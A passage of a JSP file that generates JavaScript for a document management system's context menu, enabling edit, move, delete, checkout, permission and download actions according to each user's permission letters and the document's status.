<%@ page contentType="application/x-javascript;charset=UTF-8" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@page import="com.dcivision.framework.web.WebUtil"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%boolean supportEmail=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SUPPORT_EMAIL);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  boolean invitationOverwrite =SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD);
  boolean showDownload = SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SHOW_DOWNLOAD_BUTTON);
%>

// Change the row color of the context menu for document operation.
function changeRowColor(trObj, mode) {
  var overColor = "#B5D2EA";
  var downColor = "#FFCC99";
  var outColor = "#EEEEEE";
  var domDetect = false;

  if (typeof(window.opera) == 'undefined' && typeof(trObj.getAttribute) != 'undefined') {
    domDetect = true;
  }

  if (mode == 1) {
    if (domDetect) {
      trObj.setAttribute('bgcolor', overColor, 0);
    } else {
      trObj.style.backgroundColor = overColor;
    }
  } else if (mode == 2) {
    var tmpColor = outColor;

    if (domDetect) {
      trObj.setAttribute('bgcolor', tmpColor, 0);
    } else {
      trObj.style.backgroundColor = tmpColor;
    }
  } else if (mode == 3) {
    if (domDetect) {
      trObj.setAttribute('bgcolor', downColor, 0);
    } else {
      trObj.style.backgroundColor = downColor;
    }
  }
}

// Simulate to click the checkbox and click delete button.
function clickDeleteDMSRecord(docID,parentID,rootID,hasRelationship) {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  //var frm = document.forms[(g_curr_function_code == "<%=SystemFunctionConstant.DMS_PUBLIC_FOLDER%>")?'listDmsPublicDocumentForm':'listDmsDocumentForm'];

  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name=="basicSelectedID"  ) {
      frm.elements[i].checked = false;
      if (frm.elements[i].value==docID){
        frm.elements[i].checked = true;
      }
    }
  }
  
  var urlQueryString = "selectID="+docID;
  send_request("<%= request.getContextPath() %>/jsp/dms/GetDmsRelationships2.jsp?"+urlQueryString+"&date="+new Date());
  var relationshipIds = http_request.responseText;
  if (relationshipIds.indexOf("RETIDS")!=-1) {
    var relationshipWarningURL = "RelationshipWarning.do?" + relationshipIds.substring(relationshipIds.indexOf("RETIDS")+6);
    relationshipWarningURL += "&formName="+frm.name+"&date="+new Date();
    if(frm.name == "listPersonalHomeForm"){
      relationshipWarningURL = "dms/"+ relationshipWarningURL;
    }
    frameDlg.setUrl(relationshipWarningURL);
    cClick();
    frameDlg.show();
  }else if (relationshipIds.indexOf("ERROR")!=-1) {
    alert("Error cause by:"+relationshipIds);
  }else {
  	loadingTo();
  	if (!confirm(MSG_CONFIRM_DELETE_RECORDS)) {
      loadingStop();
      return(false);
    }
    DmsDocumentListDeleteFacade.opListDelete2(listDeleteRevert,[docID],[],false);
  }
  return true;
}

// Return the HTML show in the operation menu.
// Add arg targetDocItemStatus/targetPermission: targetDocItemStatus=="R" means it is a shortcut and it's target document is archived; lee add for bug 6001/5924 in 06/08/09
function getMenuText(documentName, documentType, documentID, parentID, rootID, listLoopCnt, itemStatus, lockUserID, curUserID, permission,hasRelationship,dirURL,rootType,targetDocType,updateAlertSystemLogID,returnTop,selfCheckout,parentDocType, targetDocItemStatus,targetPermission ,targetID,targetParentDocType,targetRootType,targetLockUserID,listLoopCntProperty,isExpired,isNotYetEffective) {
//the parameter selfCheckout is for checkout and checkin action in the ViewDmsCompoundDocument.jsp page
  var directURL = "";

  var isTargetArchived = (documentType=="<%=DmsDocument.DOCUMENT_LINK%>" && targetDocItemStatus=="R");
  var isTargetNoReadRight = (documentType=="<%=DmsDocument.DOCUMENT_LINK%>" && targetPermission!=null && targetPermission.indexOf("R")==-1);


  if (dirURL != null) {
    directURL = dirURL;
  }

  var sRootType = "";
  if (rootType != null) {
  sRootType=rootType;
  }
  
  var trObj = FindObj("tr" + documentID);
  if (trObj) {
    SetTableRowColor(trObj, listLoopCnt, 'click', documentID);
  }
  var sPermission;
  if (permission==null) {
    sPermission = "";
  } else {
    sPermission = permission;
  }

  if (documentType == "<%=DmsDocument.DOCUMENT_LINK%>") {
    var tmpPermission = sPermission;
    if (targetPermission == null) {
      sPermission = "";
    } else if (targetPermission == "PERSONAL"){
      sPermission = targetPermission;
    } else {
      sPermission = targetPermission;
      if (permission.indexOf("N")>0 && targetPermission.indexOf("N")<0){
        sPermission += "N";
      }
      if (permission.indexOf("C")>0 && targetPermission.indexOf("C")<0){
        sPermission += "C";
      }
      if (permission.indexOf("M")>0 && targetPermission.indexOf("M")<0){
        sPermission += "M";
      }
      if (permission.indexOf("D")>0 && targetPermission.indexOf("D")<0){
        sPermission += "D";
      }
      if(permission == "PERSONAL"){
      	permission = targetPermission ;
      	sPermission +="NCMD";
      }
    }
  }

  var targetType="";
  if(targetDocType!=null){
    targetType=targetDocType;
  }

  /* Start of javascript action declarations */
  var opAlert = "return false;"; var cssAlert = "setAlertDisabled";
  if ((permission=="PERSONAL") || (sPermission.indexOf("A")>=0)) {
    if (documentType != "<%=DmsDocument.DOCUMENT_LINK%>") {
      opAlert = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsUpdateAlert.do?alertType=<%=UpdateAlert.ALERT_TYPE%>&documentType=" + documentType + "&objectID=" + documentID + "&parentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL +"&returnTop="+returnTop + "\"";
      cssAlert = "setAlertEnabled";
    } else {
      opAlert = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsUpdateAlert.do?alertType=<%=UpdateAlert.ALERT_TYPE%>&documentType=" + targetType + "&objectID=" + targetID + "&parentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL +"&returnTop="+returnTop + "\"";
      cssAlert = "setAlertEnabled";
    }
  }

  var opEdit = "return false;"; var cssEdit = "contextMenuDisabled";
  if(permission!="REFERENCE_FILE"){
    if ( ((permission=="PERSONAL") || (sPermission.indexOf("E")>=0)) && (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>" || documentType=="<%=DmsDocument.DOCUMENT_LINK%>") ) {
      if ('<%=DmsDocument.FOLDER_TYPE%>' == documentType){
        opEdit = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsDocument.do?navMode=<%=GlobalConstant.NAV_MODE_EDIT%>" + "&ID=" + documentID+ "&parentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL +"&returnTop="+returnTop +"&editIndexFlag=true&clearIndex=true&clearIndexFlag=true&useDefaultProfile=1&opt=E\"";
        cssEdit = "contextMenuItem";
      } else if ('<%=DmsDocument.DOCUMENT_LINK%>' == documentType && '<%=DmsDocument.FOLDER_TYPE%>' == targetDocType) {
        opEdit = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsDocument.do?navMode=<%=GlobalConstant.NAV_MODE_EDIT%>" + "&ID=" + targetID+ "&parentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL +"&returnTop="+returnTop +"&editIndexFlag=true&clearIndex=true&clearIndexFlag=true&useDefaultProfile=1&opt=E\"";
        cssEdit = "contextMenuItem";
      } else{
        opEdit = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsDocument.do?navMode=<%=GlobalConstant.NAV_MODE_EDIT%>" + "&ID=" + documentID+ "&parentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL +"&returnTop="+returnTop +"&editIndexFlag=true\"";
        cssEdit = "contextMenuItem";
      }
    }
  }else{
      opEdit = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsEmptyDocument.do?navMode=<%=GlobalConstant.NAV_MODE_EDIT%>" +"&opMode=<%=DmsOperationConstant.CREATE_EMPTY_FILE%>"+ "&ID=" + documentID+ "&parentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=<%=SystemFunctionConstant.DMS_EMPTY_FILE%>" +"\"";
      cssEdit = "contextMenuItem";
  }

  var opRename = "return false;"; var cssRename = "contextMenuDisabled";
  if ( ((permission=="PERSONAL") || (sPermission.indexOf("N")>=0)) && (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") || (documentType == "<%=DmsDocument.DOCUMENT_LINK%>")||(permission=="REFERENCE_FILE")) {
    opRename = "popupRename("+documentID+","+parentID+","+rootID+",\""+sPermission+"\",\""+g_curr_function_code+"\")";
    cssRename = "contextMenuItem";
  }

  var opCopy = "return false;"; var cssCopy = "contextMenuDisabled";
  if ( ((permission=="PERSONAL") || (sPermission.indexOf("C")>=0)) && (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") || (documentType == "<%=DmsDocument.DOCUMENT_LINK%>")) {
    opCopy = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsDocument.do?opMode=<%=DmsOperationConstant.COPY_OPERATION%>" + "&ID=" + documentID+ "&parentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL +"&returnTop="+returnTop+"\"";
    cssCopy = "contextMenuItem";
  }

  var opMove = "return false;"; var cssMove = "contextMenuDisabled";
  if ( ((permission=="PERSONAL") || (sPermission.indexOf("M")>=0)) && (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") || (documentType == "<%=DmsDocument.DOCUMENT_LINK%>")) {
    if(hasRelationship=='true' && documentType != "<%=DmsDocument.DOCUMENT_LINK%>"){
        opMove = "popupRelationshipWarning("+documentID+","+parentID+","+rootID+",\"move\",\"undefined\",\"undefined\",\""+directURL+"\")"
        cssMove = "contextMenuItem";
    }else{
        opMove = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsDocument.do?opMode=<%=DmsOperationConstant.MOVE_OPERATION%>" + "&ID=" + documentID+ "&parentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL +"&returnTop="+returnTop+"\"";
        cssMove = "contextMenuItem";
    }
  }

  var opClip = "return false;"; var cssClip = "clipDisabled";
  opClip = "getMenuClip(" + documentID + ");"
  cssClip = "clipEnabled";

  var opDelete = "return false;"; var cssDelete = "deleteDisabled";
  if ( ((permission=="PERSONAL") || (sPermission.indexOf("D")>=0)) && (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") || (itemStatus=="<%=DmsVersion.ARCHIVED_STATUS%>") || (documentType == "<%=DmsDocument.DOCUMENT_LINK%>")) {
    opDelete = "clickDeleteDMSRecord("+documentID+","+parentID+","+rootID+","+hasRelationship+")";
    cssDelete = "deleteEnabled";
  }

  var opConvertToCompoundDoc = "return false;"; var cssConvertToCompoundDoc = "contextMenuDisabled"
  if(((permission=="PERSONAL") || (sPermission.indexOf("E")>=0)) && parentDocType != "C"){
    if (documentType == "<%=DmsDocument.DOCUMENT_LINK%>"){
      opConvertToCompoundDoc = "checkConvert("+targetID+","+parentID+","+rootID+",\""+targetDocType+"\",\""+sPermission+"\",\""+directURL+"&returnTop="+returnTop +"\")";
      cssConvertToCompoundDoc = "contextMenuItem";
    } else {
      opConvertToCompoundDoc = "checkConvert("+documentID+","+parentID+","+rootID+",\""+documentType+"\",\""+sPermission+"\",\""+directURL+"&returnTop="+returnTop +"\")";
      cssConvertToCompoundDoc = "contextMenuItem";
    }
  }

  var checkinDirectPage = "";
  if (g_curr_function_code == "<%=SystemFunctionConstant.DMS_PERSONAL_FOLDER%>"){
     checkinDirectPage = "<%=DmsOperationConstant.LIST_PERSONAL_PAGE%>";
  } else if (g_curr_function_code == "<%=SystemFunctionConstant.DMS_PUBLIC_FOLDER%>"){
     checkinDirectPage = "<%=DmsOperationConstant.LIST_PUBLIC_PAGE%>";
  } else if (g_curr_function_code == "<%=SystemFunctionConstant.DMS_EMPTY_FILE%>"){
     checkinDirectPage = "<%=DmsOperationConstant.LIST_EMPTY_DOCUMENT%>";
  } else if (g_curr_function_code == "null" || g_curr_function_code=="" || g_curr_function_code==null || g_curr_function_code=="<%=DmsOperationConstant.LIST_PERSONAL_HOME%>"){
     checkinDirectPage= "<%=DmsOperationConstant.FORWARD_HOME_PAGE%>";
  }

  if (documentType =="<%=DmsDocument.COMPOUND_DOC_TYPE%>") {
    if(g_curr_function_code=="<%=SystemFunctionConstant.DMS_COMPOUND_DOCUMENT%>"){
       checkinDirectPage="<%=DmsOperationConstant.LIST_COMPOUND_DOCUMENT%>";
    }else if (g_curr_function_code=="<%=DmsOperationConstant.LIST_PERSONAL_HOME%>"){
       checkinDirectPage= "<%=DmsOperationConstant.FORWARD_HOME_PAGE%>";
    }else{
       checkinDirectPage="<%=DmsOperationConstant.CREATE_COMPOUND_DOCUMENT_VIEW%>";
    }
  }

  var opCheckout = "return false;"; var cssCheckout = "checkoutDisabled";
  if ( ((permission=="PERSONAL") || (sPermission.indexOf("T")>=0)) && (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>" && documentType!="<%=DmsDocument.DOCUMENT_LINK%>")) {
   if(directURL!=""){
      if(directURL.indexOf("SearchDmsDocument")>=0){
        checkinDirectPage="DMS.LSEARCH";
      }else if(directURL.indexOf("SearchKeywordDmsDocument")>=0){
        checkinDirectPage="DMS.LKEYWORD_SEARCH";
      }else if(directURL.indexOf("BulkSearchDmsDocument")>=0){
        checkinDirectPage="DMS.LBULK_SEARCH";
      }else if(directURL.indexOf("ListDmsPublicDocument")>=0){
        checkinDirectPage="DMS.LPUBLIC";
      }else if(directURL.indexOf("ListDmsDocument")>=0){
        checkinDirectPage="DMS.LPERSONAL";
      }else if(directURL.indexOf("MaintDmsCompoundDocument")>=0){
        checkinDirectPage="<%=DmsOperationConstant.CREATE_COMPOUND_DOCUMENT_VIEW%>";
      }else if(directURL.indexOf("navMode%3DP")>0){
        checkinDirectPage="P";
      }
    }
    if(selfCheckout =="true"){
        opCheckout = "dwrCheckout(\"" + documentID + "\",\" + g_curr_function_code + \")";
        cssCheckout = "checkoutEnabled";
    }else{
        opCheckout = "dwrCheckout(\"" + documentID + "\",\"" + g_curr_function_code + "\")";
        cssCheckout = "checkoutEnabled";
    }
  } else if (((permission=="PERSONAL") || (sPermission.indexOf("T")>=0)) && (documentType=="<%=DmsDocument.DOCUMENT_LINK%>" && targetDocItemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>")) {
   if(directURL!=""){
      if(directURL.indexOf("SearchDmsDocument")>=0){
        checkinDirectPage="DMS.LSEARCH";
      }else if(directURL.indexOf("SearchKeywordDmsDocument")>=0){
        checkinDirectPage="DMS.LKEYWORD_SEARCH";
      }else if(directURL.indexOf("BulkSearchDmsDocument")>=0){
        checkinDirectPage="DMS.LBULK_SEARCH";
      }else if(directURL.indexOf("ListDmsPublicDocument")>=0){
        checkinDirectPage="DMS.LPUBLIC";
      }else if(directURL.indexOf("ListDmsDocument")>=0){
        checkinDirectPage="DMS.LPERSONAL";
      }else if(directURL.indexOf("MaintDmsCompoundDocument")>=0){
        checkinDirectPage="<%=DmsOperationConstant.CREATE_COMPOUND_DOCUMENT_VIEW%>";
      }else if(directURL.indexOf("navMode%3DP")>0){
        checkinDirectPage="P";
      }
    }
    if(selfCheckout =="true"){
        opCheckout = "dwrCheckout(\"" + targetID + "\",\" + g_curr_function_code + \")";
        cssCheckout = "checkoutEnabled";
    }else{
        opCheckout = "dwrCheckout(\"" + targetID + "\",\"" + g_curr_function_code + "\")";
        cssCheckout = "checkoutEnabled";
    }
  }

  var opCheckin = "return false;"; var cssCheckin = "checkinDisabled";
  if(directURL!=""){
    if(directURL.indexOf("SearchDmsDocument")>=0){
      checkinDirectPage="DMS.LSEARCH";
    }else if(directURL.indexOf("SearchKeywordDmsDocument")>=0){
      checkinDirectPage="DMS.LKEYWORD_SEARCH";
    }else if(directURL.indexOf("BulkSearchDmsDocument")>=0){
      checkinDirectPage="DMS.LBULK_SEARCH";
    }else if(directURL.indexOf("ListDmsPublicDocument")>=0){
      checkinDirectPage="DMS.LPUBLIC";
    }else if(directURL.indexOf("ListDmsDocument")>=0){
      checkinDirectPage="DMS.LPERSONAL";
    }else if(directURL.indexOf("MaintDmsCompoundDocument")>=0){
      checkinDirectPage="<%=DmsOperationConstant.CREATE_COMPOUND_DOCUMENT_VIEW%>";
    }else if(directURL.indexOf("navMode%3DP")>=0){
      checkinDirectPage="P";
    }
  }

  if(hasRelationship=="true"){
    if (documentType != "<%=DmsDocument.DOCUMENT_LINK%>") {
      opCheckin = "popupRelationshipWarning("+documentID+","+parentID+","+rootID+",\"update\","+lockUserID+",\"undefined\",\""+directURL+"\")";
      cssCheckin = "checkinEnabled"
    } else {
      opCheckin = "popupRelationshipWarning("+targetID+","+parentID+","+rootID+",\"update\","+targetLockUserID+",\"undefined\",\""+directURL+"\")";
      cssCheckin = "checkinEnabled"
    }
  }else if((permission=="PERSONAL") || (sPermission.indexOf("T")>=0)){
    if (documentType != "<%=DmsDocument.DOCUMENT_LINK%>") {
      opCheckin = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsCheckout.do?navMode=<%=DmsOperationConstant.CHECKOUT_CHECK%>&opMode=<%=DmsOperationConstant.CHECKOUT_CHECK%>&documentID=" + documentID + "&ID=" + parentID+ "&navMode=V" + "&parentID="+parentID+"&rootID="+rootID+"&curFunctionCode="+g_curr_function_code+"&directPage="+checkinDirectPage+"&returnTo="+directURL+"&returnTop="+returnTop+"&selfCheckout="+selfCheckout+"\"";
      cssCheckin = "checkinEnabled"
    } else {
      opCheckin = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsCheckout.do?navMode=<%=DmsOperationConstant.CHECKOUT_CHECK%>&opMode=<%=DmsOperationConstant.CHECKOUT_CHECK%>&documentID=" + targetID + "&ID=" + parentID+ "&navMode=V" + "&parentID="+parentID+"&rootID="+rootID+"&curFunctionCode="+g_curr_function_code+"&directPage="+checkinDirectPage+"&returnTo="+directURL+"&returnTop="+returnTop+"&selfCheckout="+selfCheckout+"\"";
      cssCheckin = "checkinEnabled"
    }
  }

  var opListVersion = "return false;"; var cssListVersion = "contextMenuDisabled";
  if ( (permission=="PERSONAL") || (sPermission.indexOf("Z")>=0)) {
    if (documentType != "<%=DmsDocument.DOCUMENT_LINK%>") {
        opListVersion = "window.location.href=\"<%=request.getContextPath()%>/dms/ListDmsVersion.do?parentID=0&documentID=" + documentID + "&docparent=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL+"&returnTop="+returnTop+"\"";
        cssListVersion = "contextMenuItem";
    } else {
        opListVersion = "window.location.href=\"<%=request.getContextPath()%>/dms/ListDmsVersion.do?parentID=0&documentID=" + targetID + "&docparent=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL+"&returnTop="+returnTop+"\"";
        cssListVersion = "contextMenuItem";
    }
  }

  var opInvitation = "return false;"; var cssInvitation = "inviteUserDisabled";
  if ( (permission=="PERSONAL") || (sPermission.indexOf("V")>=0)) {
    if (!(documentType=="<%=DmsDocument.DOCUMENT_LINK%>")){
        opInvitation = "popupInvitation("+documentID+")";
        cssInvitation = "inviteUserEnabled";
    } else {
        opInvitation = "popupInvitation("+targetID+")";
        cssInvitation = "inviteUserEnabled";
    }
  }

  var opSendEmail = "return false;"; var cssSendEmail = "contextMenuDisabled";
  if ( (permission=="PERSONAL") || (sPermission.indexOf("L")>=0)) {
    opSendEmail = "popupSendEmail("+documentID+")";
    cssSendEmail = "contextMenuItem";
  }

  var opDiscussion = "return false;"; var cssDiscussion = "discussDisabled";
  if ((sPermission.indexOf("U")>=0) ){
    opDiscussion = "window.location.href=\"<%=request.getContextPath()%>/dms/ListDmsForum.do?objectType=<%=GlobalConstant.OBJECT_TYPE_DOCUMENT%>&objectID=" + documentID + "&docParentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL+"&returnTop="+returnTop+ "\"";
    cssDiscussion = "discussEnabled";
  }

  var opPermission = "return false;"; var cssPermission = "setAccessRightDisabled";
  if ( (permission=="PERSONAL") || (sPermission.indexOf("S")>=0)) {
    if (documentType != "<%=DmsDocument.DOCUMENT_LINK%>") {
      opPermission = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsPermission.do?objectType=<%=GlobalConstant.OBJECT_TYPE_DOCUMENT%>&objectID=" + documentID + "&docParentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission + "&returnTo="+directURL+"&returnTop="+returnTop+"\"";
      cssPermission = "setAccessRightEnabled";
    } else {
      opPermission = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsPermission.do?objectType=<%=GlobalConstant.OBJECT_TYPE_DOCUMENT%>&objectID=" + targetID + "&docParentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission + "&returnTo="+directURL+"&returnTop="+returnTop+"\"";
      cssPermission = "setAccessRightEnabled";
    }
  }

  var opAuditTrail = "return false;"; var cssAuditTrail = "contextMenuDisabled";
  if ( (permission=="PERSONAL") || (sPermission.indexOf("B")>=0)){
    if (documentType != "<%=DmsDocument.DOCUMENT_LINK%>") {
      opAuditTrail = "window.location.href=\"<%=request.getContextPath()%>/dms/ListDmsIndividualAuditTrail.do?objectType=<%=GlobalConstant.OBJECT_TYPE_DOCUMENT%>&objectID=" + documentID + "&docParentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL+"&returnTop="+returnTop+ "\"";
      cssAuditTrail = "contextMenuItem";
    } else {
      opAuditTrail = "window.location.href=\"<%=request.getContextPath()%>/dms/ListDmsIndividualAuditTrail.do?objectType=<%=GlobalConstant.OBJECT_TYPE_DOCUMENT%>&objectID=" + targetID + "&docParentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL+"&returnTop="+returnTop+ "\"";
      cssAuditTrail = "contextMenuItem";
    }
  }

  var opOpen = "return false;"; var cssOpen = "contextMenuDisabled";
  if ( ((permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) && !isTargetArchived && !isTargetNoReadRight) {
    opOpen = "popupOpenDirect(\"<%=request.getContextPath()%>/dms/FileDownloadServlet/"+encodeURIComponent(documentName)+"?targetID="+documentID+"&version=TOP&documentType="+documentType+"&systemLogID="+updateAlertSystemLogID + "&ext=." + GetFileExtension(documentName) + "\")";
    cssOpen = "openEnabled";
  }

  var opDownload = "return false;"; var cssDownload = "downloadDisabled";
  if ( ((permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) && !isTargetArchived && !isTargetNoReadRight) {
    opDownload = "window.location.href=\"<%=request.getContextPath()%>/dms/FileDownloadServlet/"+encodeURIComponent(documentName)+"?isDownload=Y&targetID="+documentID+"&version=TOP&documentType="+documentType+"&systemLogID=" + updateAlertSystemLogID + "&ext=." + GetFileExtension(documentName) + "\"";
    cssDownload = "downloadEnabled";
  }

  var opZipDownload = "return false;"; var cssZipDownload = "contextMenuDisabled";
  if ( ((permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) && !isTargetArchived && !isTargetNoReadRight) {	
    opZipDownload = "window.location.href=\"<%=request.getContextPath()%>/dms/FileZipDownloadServlet?selectID="+documentID+"&zipFileName="+encodeURIComponent(documentName)+"&singleDocDownload=true&returnURL="+escape(window.location)+"&date=\"+new Date()";
    cssZipDownload = "contextMenuItem";
  }

  var opDownloadAll = "return false;"; var cssDownloadAll = "downloadAllDisabled";
  if ( ((permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) && !isTargetArchived && !isTargetNoReadRight) {
    var returnURL = (directURL!=null && directURL!='') ? directURL : encodeURI(document.URL);
    opDownloadAll = "window.location.href=\"<%=request.getContextPath()%>/dms/FileZipDownloadServlet?selectID="+documentID+"&zipFileName="+encodeURIComponent(documentName)+"&returnURL="+returnURL+"&date=\"+new Date()";
    cssDownloadAll = "downloadAllEnabled";
  }

  var opNewDocRelation ="return false;"; var cssNewDocRelation = "contextMenuDisabled";
  if ( (permission=="PERSONAL") || (sPermission.indexOf("H")>=0)) {
    opNewDocRelation = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintMtmDocumentRelationship.do?documentID=" + documentID + "&parentID=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission + "&returnTo="+directURL+"&returnTop="+returnTop+"\"";
    cssNewDocRelation = "contextMenuItem";
  }

  var opEditDocList ="return false;"; var cssEditDocList = "contextMenuDisabled";
  var opFullTextViewer = "return false;"; var cssFullTextViewer = "contextMenuDisabled";
  if ( ((permission=="PERSONAL") || (sPermission.indexOf("E")>=0)) && (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") && ( documentType != "<%=DmsDocument.DOCUMENT_LINK%>" )) {
    if(documentType=="<%=DmsDocument.COMPOUND_DOC_TYPE%>"){
      opEditDocList = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsCompoundDocument.do?curFunctionCode=" + g_curr_function_code + "&ID="+documentID+"&navMode=<%=GlobalConstant.NAV_MODE_VIEW%>"+"&returnTo="+directURL+"\"";
      cssEditDocList = "contextMenuItem";
    }else if(documentType=="<%=DmsDocument.PAPER_DOC_TYPE%>"){
      opEditDocList = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsCompoundDocument.do?curFunctionCode=" + g_curr_function_code + "&ID="+documentID+"&navMode=<%=GlobalConstant.NAV_MODE_VIEW%>"+"&returnTo="+directURL+"\"";
      cssEditDocList = "contextMenuItem";
    }else if(documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>"){
      opEditDocList = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsEmailDocument.do?curFunctionCode=" + g_curr_function_code + "&ID="+documentID+"&navMode=<%=GlobalConstant.NAV_MODE_VIEW%>"+"&returnTo="+directURL+"\"";
      cssEditDocList = "contextMenuItem";
    }else if(documentType=="<%=DmsDocument.FORM_DOC_TYPE%>"){
      opEditDocList = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsFormDocument.do?curFunctionCode=" + g_curr_function_code + "&ID="+documentID+"&navMode=<%=GlobalConstant.NAV_MODE_VIEW%>"+"&returnTo="+directURL+"\"";
      cssEditDocList = "contextMenuItem";
    }
    opFullTextViewer = "popupFullTextViewer("+documentID+")";
    cssFullTextViewer = "contextMenuItem";
  } else if ( ((permission=="PERSONAL") || (sPermission.indexOf("E")>=0)) && ( documentType == "<%=DmsDocument.DOCUMENT_LINK%>" ) && (targetDocItemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") ) {
    if(targetDocType=="<%=DmsDocument.COMPOUND_DOC_TYPE%>"){
      opEditDocList = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsCompoundDocument.do?curFunctionCode=" + g_curr_function_code + "&ID="+targetID+"&navMode=<%=GlobalConstant.NAV_MODE_VIEW%>"+"&returnTo="+directURL+"\"";
      cssEditDocList = "contextMenuItem";
    }else if(targetDocType=="<%=DmsDocument.PAPER_DOC_TYPE%>"){
      opEditDocList = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsCompoundDocument.do?curFunctionCode=" + g_curr_function_code + "&ID="+targetID+"&navMode=<%=GlobalConstant.NAV_MODE_VIEW%>"+"&returnTo="+directURL+"\"";
      cssEditDocList = "contextMenuItem";
    }else if(targetDocType=="<%=DmsDocument.EMAIL_DOC_TYPE%>"){
      opEditDocList = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsEmailDocument.do?curFunctionCode=" + g_curr_function_code + "&ID="+targetID+"&navMode=<%=GlobalConstant.NAV_MODE_VIEW%>"+"&returnTo="+directURL+"\"";
      cssEditDocList = "contextMenuItem";
    }else if(targetDocType=="<%=DmsDocument.FORM_DOC_TYPE%>"){
      opEditDocList = "window.location.href=\"<%=request.getContextPath()%>/dms/MaintDmsFormDocument.do?curFunctionCode=" + g_curr_function_code + "&ID="+targetID+"&navMode=<%=GlobalConstant.NAV_MODE_VIEW%>"+"&returnTo="+directURL+"\"";
      cssEditDocList = "contextMenuItem";
    }
    opFullTextViewer = "popupFullTextViewer("+targetID+")";
    cssFullTextViewer = "contextMenuItem";
  }

  var opShortcut ="return false;"; var cssShortcut = "contextMenuDisabled";
  if ( ((permission=="PERSONAL") || (sPermission.indexOf("R")>=0))) {
    var popupURL = "<%=request.getContextPath()%>/dms/MaintMtmDocumentRelationship.do?parentID=0&documentID=" + documentID+ "&relationshipType=L" + "&docparent=" + parentID+ "&rootID=" + rootID + "&curFunctionCode=" + g_curr_function_code + "&permission=" + sPermission +"&returnTo="+directURL +"&returnTop="+returnTop+"&bFromContextMenu=true";
    opShortcut = "popupNewShortcut(\""+popupURL+"\")";
    cssShortcut = "contextMenuItem";
  }

  var opZipViewer = "return false;"; var cssZipViewer = "contextMenuDisabled";
